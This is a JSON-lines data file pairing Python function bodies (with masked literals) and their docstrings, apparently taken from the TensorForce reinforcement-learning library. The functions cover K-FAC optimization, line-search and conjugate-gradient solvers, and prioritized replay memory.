{"signature": "def computeStatsEigen(self):", "body": "<EOL>with tf.device('<STR_LIT>'):<EOL><INDENT>def removeNone(tensor_list):<EOL><INDENT>local_list = []<EOL>for item in tensor_list:<EOL><INDENT>if item is not None:<EOL><INDENT>local_list.append(item)<EOL><DEDENT><DEDENT>return local_list<EOL><DEDENT>def copyStats(var_list):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>redundant_stats = {}<EOL>copied_list = []<EOL>for item in var_list:<EOL><INDENT>if item is not None:<EOL><INDENT>if item not in redundant_stats:<EOL><INDENT>if self._use_float64:<EOL><INDENT>redundant_stats[item] = tf.cast(<EOL>tf.identity(item), tf.float64)<EOL><DEDENT>else:<EOL><INDENT>redundant_stats[item] = tf.identity(item)<EOL><DEDENT><DEDENT>copied_list.append(redundant_stats[item])<EOL><DEDENT>else:<EOL><INDENT>copied_list.append(None)<EOL><DEDENT><DEDENT>return copied_list<EOL><DEDENT>stats_eigen = self.stats_eigen<EOL>computedEigen = {}<EOL>eigen_reverse_lookup = {}<EOL>updateOps = []<EOL>with tf.control_dependencies([]):<EOL><INDENT>for stats_var in stats_eigen:<EOL><INDENT>if stats_var not in computedEigen:<EOL><INDENT>eigens = tf.self_adjoint_eig(stats_var)<EOL>e = eigens[<NUM_LIT:0>]<EOL>Q = eigens[<NUM_LIT:1>]<EOL>if self._use_float64:<EOL><INDENT>e = tf.cast(e, tf.float32)<EOL>Q = tf.cast(Q, tf.float32)<EOL><DEDENT>updateOps.append(e)<EOL>updateOps.append(Q)<EOL>computedEigen[stats_var] = {'<STR_LIT:e>': e, '<STR_LIT>': Q}<EOL>eigen_reverse_lookup[e] = stats_eigen[stats_var]['<STR_LIT:e>']<EOL>eigen_reverse_lookup[Q] = stats_eigen[stats_var]['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>self.eigen_reverse_lookup = eigen_reverse_lookup<EOL>self.eigen_update_list = updateOps<EOL><DEDENT>return updateOps<EOL>", "docstring": "compute the eigen decomp using copied var stats to avoid concurrent read/write from other queue", "id": "f14347:c0:m8"}
{"signature": "def tf_step(self, time, variables, **kwargs):", "body": "fn_loss = kwargs[\"<STR_LIT>\"]<EOL>if variables is None:<EOL><INDENT>variables = tf.trainable_variables<EOL><DEDENT>return tf.gradients(fn_loss, variables)<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization step on the given variables, including\nactually changing the values of the variables.\n\nArgs:\n    time: Time tensor. Not used for this optimizer.\n    variables: List of variables to optimize.\n    **kwargs: \n        fn_loss : loss function tensor to differentiate.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14347:c0:m15"}
{"signature": "def apply_step(self, variables, deltas, loss_sampled):", "body": "update_stats_op = self.compute_and_apply_stats(<EOL>loss_sampled, var_list=var_list)<EOL>grads = [(a, b) for a, b in zip(deltas, varlist)]<EOL>kfacOptim, _ = self.apply_gradients_kfac(grads)<EOL>return kfacOptim<EOL>", "docstring": "Applies the given (and already calculated) step deltas to the variable values.\n\nArgs:\n    variables: List of variables.\n    deltas: List of deltas of same length.\n    loss_sampled : the sampled loss\n\nReturns:\n    The step-applied operation. A tf.group of tf.assign_add ops.", "id": "f14347:c0:m16"}
{"signature": "def minimize(self, time, variables, **kwargs):", "body": "loss = kwargs[\"<STR_LIT>\"]<EOL>sampled_loss = kwargs[\"<STR_LIT>\"]<EOL>min_op, _ = self.minimize_(loss, sampled_loss, var_list=variables)<EOL>return min_op<EOL>", "docstring": "Performs an optimization step.\n\nArgs:\n    time: Time tensor. Not used for this\n    variables: List of variables to optimize.\n    **kwargs: \n        fn_loss : loss function tensor that is differentiated\n        sampled_loss : the sampled loss from running the model.\n\nReturns:\n    The optimization operation.", "id": "f14347:c0:m17"}
{"signature": "def __init__(self, max_iterations, accept_ratio, mode, parameter, unroll_loop=False):", "body": "assert accept_ratio >= <NUM_LIT:0.0><EOL>self.accept_ratio = accept_ratio<EOL>if mode not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".format(mode))<EOL><DEDENT>self.mode = mode<EOL>self.parameter = parameter<EOL>super(LineSearch, self).__init__(max_iterations=max_iterations, unroll_loop=unroll_loop)<EOL>", "docstring": "Creates a new line search solver instance.\n\nArgs:\n    max_iterations: Maximum number of iterations before termination.\n    accept_ratio: Lower limit of what improvement ratio over $x = x'$ is acceptable  \n        (based either on a given estimated improvement or with respect to the value at  \n        $x = x'$).\n    mode: Mode of movement between $x_0$ and $x'$, either 'linear' or 'exponential'.\n    parameter: Movement mode parameter, additive or multiplicative, respectively.\n    unroll_loop: Unrolls the TensorFlow while loop if true.", "id": "f14348:c0:m0"}
{"signature": "def tf_solve(self, fn_x, x_init, base_value, target_value, estimated_improvement=None):", "body": "return super(LineSearch, self).tf_solve(fn_x, x_init, base_value, target_value, estimated_improvement)<EOL>", "docstring": "Iteratively optimizes $f(x)$ for $x$ on the line between $x'$ and $x_0$.\n\nArgs:\n    fn_x: A callable returning the value $f(x)$ at $x$.\n    x_init: Initial solution guess $x_0$.\n    base_value: Value $f(x')$ at $x = x'$.\n    target_value: Value $f(x_0)$ at $x = x_0$.\n    estimated_improvement: Estimated improvement for $x = x_0$, $f(x')$ if None.\n\nReturns:\n    A solution $x$ to the problem as given by the solver.", "id": "f14348:c0:m1"}
{"signature": "def tf_initialize(self, x_init, base_value, target_value, estimated_improvement):", "body": "self.base_value = base_value<EOL>if estimated_improvement is None:  <EOL><INDENT>estimated_improvement = tf.abs(x=base_value)<EOL><DEDENT>first_step = super(LineSearch, self).tf_initialize(x_init)<EOL>improvement = tf.divide(<EOL>x=(target_value - self.base_value),<EOL>y=tf.maximum(x=estimated_improvement, y=util.epsilon)<EOL>)<EOL>last_improvement = improvement - <NUM_LIT:1.0><EOL>if self.mode == '<STR_LIT>':<EOL><INDENT>deltas = [-t * self.parameter for t in x_init]<EOL>self.estimated_incr = -estimated_improvement * self.parameter<EOL><DEDENT>elif self.mode == '<STR_LIT>':<EOL><INDENT>deltas = [-t * self.parameter for t in x_init]<EOL><DEDENT>return first_step + (deltas, improvement, last_improvement, estimated_improvement)<EOL>", "docstring": "Initialization step preparing the arguments for the first iteration of the loop body.\n\nArgs:\n    x_init: Initial solution guess $x_0$.\n    base_value: Value $f(x')$ at $x = x'$.\n    target_value: Value $f(x_0)$ at $x = x_0$.\n    estimated_improvement: Estimated value at $x = x_0$, $f(x')$ if None.\n\nReturns:\n    Initial arguments for tf_step.", "id": "f14348:c0:m2"}
{"signature": "def tf_step(self, x, iteration, deltas, improvement, last_improvement, estimated_improvement):", "body": "x, next_iteration, deltas, improvement, last_improvement, estimated_improvement = super(LineSearch, self).tf_step(<EOL>x, iteration, deltas, improvement, last_improvement, estimated_improvement<EOL>)<EOL>next_x = [t + delta for t, delta in zip(x, deltas)]<EOL>if self.mode == '<STR_LIT>':<EOL><INDENT>next_deltas = deltas<EOL>next_estimated_improvement = estimated_improvement + self.estimated_incr<EOL><DEDENT>elif self.mode == '<STR_LIT>':<EOL><INDENT>next_deltas = [delta * self.parameter for delta in deltas]<EOL>next_estimated_improvement = estimated_improvement * self.parameter<EOL><DEDENT>target_value = self.fn_x(next_deltas)<EOL>next_improvement = tf.divide(<EOL>x=(target_value - self.base_value),<EOL>y=tf.maximum(x=next_estimated_improvement, y=util.epsilon)<EOL>)<EOL>return next_x, next_iteration, next_deltas, next_improvement, improvement, next_estimated_improvement<EOL>", "docstring": "Iteration loop body of the line search algorithm.\n\nArgs:\n    x: Current solution estimate $x_t$.\n    iteration: Current iteration counter $t$.\n    deltas: Current difference $x_t - x'$.\n    improvement: Current improvement $(f(x_t) - f(x')) / v'$.\n    last_improvement: Last improvement $(f(x_{t-1}) - f(x')) / v'$.\n    estimated_improvement: Current estimated value $v'$.\n\nReturns:\n    Updated arguments for next iteration.", "id": "f14348:c0:m3"}
{"signature": "def tf_next_step(self, x, iteration, deltas, improvement, last_improvement, estimated_improvement):", "body": "next_step = super(LineSearch, self).tf_next_step(<EOL>x, iteration, deltas, improvement, last_improvement, estimated_improvement<EOL>)<EOL>def undo_deltas():<EOL><INDENT>value = self.fn_x([-delta for delta in deltas])<EOL>with tf.control_dependencies(control_inputs=(value,)):<EOL><INDENT>return tf.less(x=value, y=value)  <EOL><DEDENT><DEDENT>improved = tf.cond(<EOL>pred=(improvement > last_improvement),<EOL>true_fn=(lambda: True),<EOL>false_fn=undo_deltas<EOL>)<EOL>next_step = tf.logical_and(x=next_step, y=improved)<EOL>next_step = tf.logical_and(x=next_step, y=(improvement < self.accept_ratio))<EOL>return tf.logical_and(x=next_step, y=(estimated_improvement > util.epsilon))<EOL>", "docstring": "Termination condition: max number of iterations, or no improvement for last step, or  \nimprovement less than acceptable ratio, or estimated value not positive.\n\nArgs:\n    x: Current solution estimate $x_t$.\n    iteration: Current iteration counter $t$.\n    deltas: Current difference $x_t - x'$.\n    improvement: Current improvement $(f(x_t) - f(x')) / v'$.\n    last_improvement: Last improvement $(f(x_{t-1}) - f(x')) / v'$.\n    estimated_improvement: Current estimated value $v'$.\n\nReturns:\n    True if another iteration should be performed.", "id": "f14348:c0:m4"}
{"signature": "def __init__(self, max_iterations, unroll_loop=False):", "body": "assert max_iterations >= <NUM_LIT:0><EOL>self.max_iterations = max_iterations<EOL>assert isinstance(unroll_loop, bool)<EOL>self.unroll_loop = unroll_loop<EOL>super(Iterative, self).__init__()<EOL>self.initialize = tf.make_template(name_='<STR_LIT>', func_=self.tf_initialize)<EOL>self.step = tf.make_template(name_='<STR_LIT>', func_=self.tf_step)<EOL>self.next_step = tf.make_template(name_='<STR_LIT>', func_=self.tf_next_step)<EOL>", "docstring": "Creates a new iterative solver instance.\n\nArgs:\n    max_iterations: Maximum number of iterations before termination.\n    unroll_loop: Unrolls the TensorFlow while loop if true.", "id": "f14349:c0:m0"}
{"signature": "def tf_solve(self, fn_x, x_init, *args):", "body": "self.fn_x = fn_x<EOL>args = self.initialize(x_init, *args)<EOL>if self.unroll_loop:<EOL><INDENT>for _ in range(self.max_iterations):<EOL><INDENT>next_step = self.next_step(*args)<EOL>step = (lambda: self.step(*args))<EOL>do_nothing = (lambda: args)<EOL>args = tf.cond(pred=next_step, true_fn=step, false_fn=do_nothing)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>args = tf.while_loop(cond=self.next_step, body=self.step, loop_vars=args)<EOL><DEDENT>return args[<NUM_LIT:0>]<EOL>", "docstring": "Iteratively solves an equation/optimization for $x$ involving an expression $f(x)$.\n\nArgs:\n    fn_x: A callable returning an expression $f(x)$ given $x$.\n    x_init: Initial solution guess $x_0$.\n    *args: Additional solver-specific arguments.\n\nReturns:\n    A solution $x$ to the problem as given by the solver.", "id": "f14349:c0:m1"}
{"signature": "def tf_initialize(self, x_init, *args):", "body": "return x_init, <NUM_LIT:0><EOL>", "docstring": "Initialization step preparing the arguments for the first iteration of the loop body  \n(default: initial solution guess and iteration counter).\n\nArgs:\n    x_init: Initial solution guess $x_0$.\n    *args: Additional solver-specific arguments.\n\nReturns:\n    Initial arguments for tf_step.", "id": "f14349:c0:m2"}
{"signature": "def tf_step(self, x, iteration, *args):", "body": "return (x, iteration + <NUM_LIT:1>) + args<EOL>", "docstring": "Iteration loop body of the iterative solver (default: increment iteration step). The  \nfirst two loop arguments have to be the current solution estimate and the iteration step.\n\nArgs:\n    x: Current solution estimate.\n    iteration: Current iteration counter.\n    *args: Additional solver-specific arguments.\n\nReturns:\n    Updated arguments for next iteration.", "id": "f14349:c0:m3"}
{"signature": "def tf_next_step(self, x, iteration, *args):", "body": "return iteration < self.max_iterations<EOL>", "docstring": "Termination condition (default: max number of iterations).\n\nArgs:\n    x: Current solution estimate.\n    iteration: Current iteration counter.\n    *args: Additional solver-specific arguments.\n\nReturns:\n    True if another iteration should be performed.", "id": "f14349:c0:m4"}
{"signature": "def __init__(self):", "body": "<EOL>self.solve = tf.make_template(name_='<STR_LIT>', func_=self.tf_solve)<EOL>", "docstring": "Creates a new solver instance.", "id": "f14350:c0:m0"}
{"signature": "def tf_solve(self, fn_x, *args):", "body": "raise NotImplementedError<EOL>", "docstring": "Solves an equation/optimization for $x$ involving an expression $f(x)$.\n\nArgs:\n    fn_x: A callable returning an expression $f(x)$ given $x$.\n    *args: Additional solver-specific arguments.\n\nReturns:\n    A solution $x$ to the problem as given by the solver.", "id": "f14350:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_config(config, kwargs=None):<DEDENT>", "body": "return util.get_object(<EOL>obj=config,<EOL>predefined=tensorforce.core.optimizers.solvers.solvers,<EOL>kwargs=kwargs<EOL>)<EOL>", "docstring": "Creates a solver from a specification dict.", "id": "f14350:c0:m2"}
{"signature": "def __init__(self, max_iterations, damping, unroll_loop=False):", "body": "assert damping >= <NUM_LIT:0.0><EOL>self.damping = damping<EOL>super(ConjugateGradient, self).__init__(max_iterations=max_iterations, unroll_loop=unroll_loop)<EOL>", "docstring": "Creates a new conjugate gradient solver instance.\n\nArgs:\n    max_iterations: Maximum number of iterations before termination.\n    damping: Damping factor.\n    unroll_loop: Unrolls the TensorFlow while loop if true.", "id": "f14352:c0:m0"}
{"signature": "def tf_solve(self, fn_x, x_init, b):", "body": "return super(ConjugateGradient, self).tf_solve(fn_x, x_init, b)<EOL>", "docstring": "Iteratively solves the system of linear equations $A x = b$.\n\nArgs:\n    fn_x: A callable returning the left-hand side $A x$ of the system of linear equations.\n    x_init: Initial solution guess $x_0$, zero vector if None.\n    b: The right-hand side $b$ of the system of linear equations.\n\nReturns:\n    A solution $x$ to the problem as given by the solver.", "id": "f14352:c0:m1"}
{"signature": "def tf_initialize(self, x_init, b):", "body": "if x_init is None:<EOL><INDENT>x_init = [tf.zeros(shape=util.shape(t)) for t in b]<EOL><DEDENT>initial_args = super(ConjugateGradient, self).tf_initialize(x_init)<EOL>conjugate = residual = [t - fx for t, fx in zip(b, self.fn_x(x_init))]<EOL>squared_residual = tf.add_n(inputs=[tf.reduce_sum(input_tensor=(res * res)) for res in residual])<EOL>return initial_args + (conjugate, residual, squared_residual)<EOL>", "docstring": "Initialization step preparing the arguments for the first iteration of the loop body:  \n$x_0, 0, p_0, r_0, r_0^2$.\n\nArgs:\n    x_init: Initial solution guess $x_0$, zero vector if None.\n    b: The right-hand side $b$ of the system of linear equations.\n\nReturns:\n    Initial arguments for tf_step.", "id": "f14352:c0:m2"}
{"signature": "def tf_step(self, x, iteration, conjugate, residual, squared_residual):", "body": "x, next_iteration, conjugate, residual, squared_residual = super(ConjugateGradient, self).tf_step(<EOL>x, iteration, conjugate, residual, squared_residual<EOL>)<EOL>A_conjugate = self.fn_x(conjugate)<EOL>if self.damping > <NUM_LIT:0.0>:<EOL><INDENT>A_conjugate = [A_conj + self.damping * conj for A_conj, conj in zip(A_conjugate, conjugate)]<EOL><DEDENT>conjugate_A_conjugate = tf.add_n(<EOL>inputs=[tf.reduce_sum(input_tensor=(conj * A_conj)) for conj, A_conj in zip(conjugate, A_conjugate)]<EOL>)<EOL>alpha = squared_residual / tf.maximum(x=conjugate_A_conjugate, y=util.epsilon)<EOL>next_x = [t + alpha * conj for t, conj in zip(x, conjugate)]<EOL>next_residual = [res - alpha * A_conj for res, A_conj in zip(residual, A_conjugate)]<EOL>next_squared_residual = tf.add_n(inputs=[tf.reduce_sum(input_tensor=(res * res)) for res in next_residual])<EOL>beta = next_squared_residual / tf.maximum(x=squared_residual, y=util.epsilon)<EOL>next_conjugate = [res + beta * conj for res, conj in zip(next_residual, conjugate)]<EOL>return next_x, next_iteration, next_conjugate, next_residual, next_squared_residual<EOL>", "docstring": "Iteration loop body of the conjugate gradient algorithm.\n\nArgs:\n    x: Current solution estimate $x_t$.\n    iteration: Current iteration counter $t$.\n    conjugate: Current conjugate $c_t$.\n    residual: Current residual $r_t$.\n    squared_residual: Current squared residual $r_t^2$.\n\nReturns:\n    Updated arguments for next iteration.", "id": "f14352:c0:m3"}
{"signature": "def tf_next_step(self, x, iteration, conjugate, residual, squared_residual):", "body": "next_step = super(ConjugateGradient, self).tf_next_step(x, iteration, conjugate, residual, squared_residual)<EOL>return tf.logical_and(x=next_step, y=(squared_residual >= util.epsilon))<EOL>", "docstring": "Termination condition: max number of iterations, or residual sufficiently small.\n\nArgs:\n    x: Current solution estimate $x_t$.\n    iteration: Current iteration counter $t$.\n    conjugate: Current conjugate $c_t$.\n    residual: Current residual $r_t$.\n    squared_residual: Current squared residual $r_t^2$.\n\nReturns:\n    True if another iteration should be performed.", "id": "f14352:c0:m4"}
{"signature": "def put(self, item, priority=None):", "body": "if not self._isfull():<EOL><INDENT>self._memory.append(None)<EOL><DEDENT>position = self._next_position_then_increment()<EOL>old_priority = <NUM_LIT:0> if self._memory[position] is Noneelse (self._memory[position].priority or <NUM_LIT:0>)<EOL>row = _SumRow(item, priority)<EOL>self._memory[position] = row<EOL>self._update_internal_nodes(<EOL>position, (row.priority or <NUM_LIT:0>) - old_priority)<EOL>", "docstring": "Stores a transition in replay memory.\n\nIf the memory is full, the oldest entry is replaced.", "id": "f14354:c0:m1"}
{"signature": "def move(self, external_index, new_priority):", "body": "index = external_index + (self._capacity - <NUM_LIT:1>)<EOL>return self._move(index, new_priority)<EOL>", "docstring": "Change the priority of a leaf node", "id": "f14354:c0:m2"}
{"signature": "def _move(self, index, new_priority):", "body": "item, old_priority = self._memory[index]<EOL>old_priority = old_priority or <NUM_LIT:0><EOL>self._memory[index] = _SumRow(item, new_priority)<EOL>self._update_internal_nodes(index, new_priority - old_priority)<EOL>", "docstring": "Change the priority of a leaf node.", "id": "f14354:c0:m3"}
{"signature": "def _update_internal_nodes(self, index, delta):", "body": "<EOL>while index > <NUM_LIT:0>:<EOL><INDENT>index = (index - <NUM_LIT:1>) // <NUM_LIT:2><EOL>self._memory[index] += delta<EOL><DEDENT>", "docstring": "Update internal priority sums when leaf priority has been changed.\nArgs:\n    index: leaf node index\n    delta: change in priority", "id": "f14354:c0:m4"}
{"signature": "def _next_position_then_increment(self):", "body": "start = self._capacity - <NUM_LIT:1><EOL>position = start + self._position<EOL>self._position = (self._position + <NUM_LIT:1>) % self._capacity<EOL>return position<EOL>", "docstring": "Similar to position++.", "id": "f14354:c0:m6"}
{"signature": "def _sample_with_priority(self, p):", "body": "parent = <NUM_LIT:0><EOL>while True:<EOL><INDENT>left = <NUM_LIT:2> * parent + <NUM_LIT:1><EOL>if left >= len(self._memory):<EOL><INDENT>return parent<EOL><DEDENT>left_p = self._memory[left] if left < self._capacity - <NUM_LIT:1>else (self._memory[left].priority or <NUM_LIT:0>)<EOL>if p <= left_p:<EOL><INDENT>parent = left<EOL><DEDENT>else:<EOL><INDENT>if left + <NUM_LIT:1> >= len(self._memory):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>p -= left_p<EOL>parent = left + <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Sample random element with priority greater than p.", "id": "f14354:c0:m7"}
{"signature": "def sample_minibatch(self, batch_size):", "body": "pool_size = len(self)<EOL>if pool_size == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>delta_p = self._memory[<NUM_LIT:0>] / batch_size<EOL>chosen_idx = []<EOL>if abs(self._memory[<NUM_LIT:0>]) < util.epsilon:<EOL><INDENT>chosen_idx = np.random.randint(self._capacity - <NUM_LIT:1>, self._capacity - <NUM_LIT:1> + len(self), size=batch_size).tolist()<EOL><DEDENT>else:<EOL><INDENT>for i in xrange(batch_size):<EOL><INDENT>lower = max(i * delta_p, <NUM_LIT:0>)<EOL>upper = min((i + <NUM_LIT:1>) * delta_p, self._memory[<NUM_LIT:0>])<EOL>p = random.uniform(lower, upper)<EOL>chosen_idx.append(self._sample_with_priority(p))<EOL><DEDENT><DEDENT>return [(i, self._memory[i]) for i in chosen_idx]<EOL>", "docstring": "Sample minibatch of size batch_size.", "id": "f14354:c0:m8"}
{"signature": "def __len__(self):", "body": "return len(self._memory) - (self._capacity - <NUM_LIT:1>)<EOL>", "docstring": "Return the current number of transitions.", "id": "f14354:c0:m9"}
{"signature": "def get_batch(self, batch_size, next_states=False):", "body": "if batch_size > len(self.observations):<EOL><INDENT>raise TensorForceError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>states = {name: np.zeros((batch_size,) + tuple(state['<STR_LIT>']), dtype=util.np_dtype(<EOL>state['<STR_LIT:type>'])) for name, state in self.states_spec.items()}<EOL>internals = [np.zeros((batch_size,) + shape, dtype)<EOL>for shape, dtype in self.internals_spec]<EOL>actions = {name: np.zeros((batch_size,) + tuple(action['<STR_LIT>']), dtype=util.np_dtype(action['<STR_LIT:type>'])) for name, action in self.actions_spec.items()}<EOL>terminal = np.zeros((batch_size,), dtype=util.np_dtype('<STR_LIT:bool>'))<EOL>reward = np.zeros((batch_size,), dtype=util.np_dtype('<STR_LIT:float>'))<EOL>if next_states:<EOL><INDENT>next_states = {name: np.zeros((batch_size,) + tuple(state['<STR_LIT>']), dtype=util.np_dtype(<EOL>state['<STR_LIT:type>'])) for name, state in self.states_spec.items()}<EOL>next_internals = [np.zeros((batch_size,) + shape, dtype)<EOL>for shape, dtype in self.internals_spec]<EOL><DEDENT>unseen_indices = list(xrange(<EOL>self.none_priority_index + self.observations._capacity - <NUM_LIT:1>,<EOL>len(self.observations) + self.observations._capacity - <NUM_LIT:1>)<EOL>)<EOL>self.batch_indices = unseen_indices[:batch_size]<EOL>remaining = batch_size - len(self.batch_indices)<EOL>if remaining:<EOL><INDENT>samples = self.observations.sample_minibatch(remaining)<EOL>sample_indices = [i for i, o in samples]<EOL>self.batch_indices += sample_indices<EOL><DEDENT>np.random.shuffle(self.batch_indices)<EOL>for n, index in enumerate(self.batch_indices):<EOL><INDENT>observation, _ = self.observations._memory[index]<EOL>for name, state in states.items():<EOL><INDENT>state[n] = observation[<NUM_LIT:0>][name]<EOL><DEDENT>for k, internal in enumerate(internals):<EOL><INDENT>internal[n] = observation[<NUM_LIT:1>][k]<EOL><DEDENT>for name, action in actions.items():<EOL><INDENT>action[n] = observation[<NUM_LIT:2>][name]<EOL><DEDENT>terminal[n] = observation[<NUM_LIT:3>]<EOL>reward[n] = observation[<NUM_LIT:4>]<EOL>if next_states:<EOL><INDENT>for name, next_state in next_states.items():<EOL><INDENT>next_state[n] = observation[<NUM_LIT:5>][name]<EOL><DEDENT>for k, next_internal in enumerate(next_internals):<EOL><INDENT>next_internal[n] = observation[<NUM_LIT:6>][k]<EOL><DEDENT><DEDENT><DEDENT>if next_states:<EOL><INDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>", "docstring": "Samples a batch of the specified size according to priority.\n\nArgs:\n    batch_size: The batch size\n    next_states: A boolean flag indicating whether 'next_states' values should be included\n\nReturns: A dict containing states, actions, rewards, terminals, internal states (and next states)", "id": "f14354:c1:m2"}
{"signature": "def update_batch(self, loss_per_instance):", "body": "if self.batch_indices is None:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>for index, loss in zip(self.batch_indices, loss_per_instance):<EOL><INDENT>new_priority = (np.abs(loss) + self.prioritization_constant) ** self.prioritization_weight<EOL>self.observations._move(index, new_priority)<EOL>self.none_priority_index += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Computes priorities according to loss.\n\nArgs:\n    loss_per_instance:", "id": "f14354:c1:m3"}
{"signature": "def __init__(self, states, internals, actions, include_next_states, capacity, scope='<STR_LIT>', summary_labels=None):", "body": "self.capacity = capacity<EOL>self.scope = scope<EOL>self.states_memory = dict()  <EOL>self.internals_memory = dict()  <EOL>self.actions_memory = dict()  <EOL>self.terminal_memory = None  <EOL>self.reward_memory = None  <EOL>self.memory_index = None  <EOL>self.episode_indices = None  <EOL>self.episode_count = None  <EOL>self.retrieve_indices = None<EOL>super(Queue, self).__init__(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>include_next_states=include_next_states,<EOL>scope=scope,<EOL>summary_labels=summary_labels<EOL>)<EOL>", "docstring": "Queue memory.\n\nArgs:\n    capacity: Memory capacity.", "id": "f14355:c0:m0"}
{"signature": "def tf_retrieve_indices(self, indices):", "body": "states = dict()<EOL>for name in sorted(self.states_memory):<EOL><INDENT>states[name] = tf.gather(params=self.states_memory[name], indices=indices)<EOL><DEDENT>internals = dict()<EOL>for name in sorted(self.internals_memory):<EOL><INDENT>internals[name] = tf.gather(params=self.internals_memory[name], indices=indices)<EOL><DEDENT>actions = dict()<EOL>for name in sorted(self.actions_memory):<EOL><INDENT>actions[name] = tf.gather(params=self.actions_memory[name], indices=indices)<EOL><DEDENT>terminal = tf.gather(params=self.terminal_memory, indices=indices)<EOL>reward = tf.gather(params=self.reward_memory, indices=indices)<EOL>if self.include_next_states:<EOL><INDENT>assert util.rank(indices) == <NUM_LIT:1><EOL>next_indices = (indices + <NUM_LIT:1>) % self.capacity<EOL>next_states = dict()<EOL>for name in sorted(self.states_memory):<EOL><INDENT>next_states[name] = tf.gather(params=self.states_memory[name], indices=next_indices)<EOL><DEDENT>next_internals = dict()<EOL>for name in sorted(self.internals_memory):<EOL><INDENT>next_internals[name] = tf.gather(params=self.internals_memory[name], indices=next_indices)<EOL><DEDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward,<EOL>next_states=next_states,<EOL>next_internals=next_internals<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return dict(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>", "docstring": "Fetches experiences for given indices.\n\nArgs:\n    indices: Index tensor\n\nReturns: Batch of experiences", "id": "f14355:c0:m4"}
{"signature": "def __init__(self, states, internals, actions, include_next_states, capacity, scope='<STR_LIT>', summary_labels=None):", "body": "super(Replay, self).__init__(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>include_next_states=include_next_states,<EOL>capacity=capacity,<EOL>scope=scope,<EOL>summary_labels=summary_labels<EOL>)<EOL>", "docstring": "Replay memory.\n\nArgs:\n    states (dict): States specification.\n    internals (dict): Internal states specification.\n    actions (dict): Actions specification.\n    include_next_states (bool): Include subsequent state if true.\n    capacity (int): Memory capacity (number of state/internals/action/(next-state)? records).", "id": "f14356:c0:m0"}
{"signature": "def __init__(self, states, internals, actions, include_next_states, scope='<STR_LIT>', summary_labels=None):", "body": "self.states_spec = states<EOL>self.internals_spec = internals<EOL>self.actions_spec = actions<EOL>self.include_next_states = include_next_states<EOL>self.scope = scope<EOL>self.summary_labels = set(summary_labels or ())<EOL>self.variables = dict()<EOL>self.initialize = None  <EOL>self.store = None<EOL>self.retrieve_timesteps = None<EOL>self.retrieve_episodes = None<EOL>self.retrieve_sequences = None<EOL>self.update_batch = None<EOL>self.setup_template_funcs()<EOL>", "docstring": "Args:\n    states (dict): States specification.\n    internals (dict): Internal states specification.\n    actions (dict): Actions specification.\n    include_next_states (bool): Include subsequent state if true.\n    scope (str): The tf variable scope to use when creating variables for this memory.\n    summary_labels (list): List of summary labels.", "id": "f14357:c0:m0"}
{"signature": "def tf_initialize(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Initializes the memory. Called by a memory-model in its own tf_initialize method.", "id": "f14357:c0:m2"}
{"signature": "def tf_store(self, states, internals, actions, terminal, reward):", "body": "raise NotImplementedError<EOL>", "docstring": "Stores experiences, i.e. a batch of timesteps.\n\nArgs:\n    states: Dict of state tensors.\n    internals: List of prior internal state tensors.\n    actions: Dict of action tensors.\n    terminal: Terminal boolean tensor.\n    reward: Reward tensor.", "id": "f14357:c0:m3"}
{"signature": "def tf_retrieve_timesteps(self, n):", "body": "raise NotImplementedError<EOL>", "docstring": "Retrieves a given number of timesteps from the stored experiences.\n\nArgs:\n    n: Number of timesteps to retrieve.\n\nReturns:\n    Dicts containing the retrieved experiences.", "id": "f14357:c0:m4"}
{"signature": "def tf_retrieve_episodes(self, n):", "body": "raise NotImplementedError<EOL>", "docstring": "Retrieves a given number of episodes from the stored experiences.\n\nArgs:\n    n: Number of episodes to retrieve.\n\nReturns:\n    Dicts containing the retrieved experiences.", "id": "f14357:c0:m5"}
{"signature": "def tf_retrieve_sequences(self, n, sequence_length):", "body": "raise NotImplementedError<EOL>", "docstring": "Retrieves a given number of temporally consistent timestep sequences from the stored\nexperiences.\n\nArgs:\n    n: Number of sequences to retrieve.\n    sequence_length: Length of timestep sequences.\n\nReturns:\n    Dicts containing the retrieved experiences.", "id": "f14357:c0:m6"}
{"signature": "def tf_update_batch(self, loss_per_instance):", "body": "return tf.no_op()<EOL>", "docstring": "Updates the internal information of the latest batch instances based on their loss.\n\nArgs:\n    loss_per_instance: Loss per instance tensor.", "id": "f14357:c0:m7"}
{"signature": "def get_variables(self):", "body": "return [self.variables[key] for key in sorted(self.variables)]<EOL>", "docstring": "Returns the TensorFlow variables used by the memory.\n\nReturns:\n    List of variables.", "id": "f14357:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "memory = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.memories.memories,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(memory, Memory)<EOL>return memory<EOL>", "docstring": "Creates a memory from a specification dict.", "id": "f14357:c0:m9"}
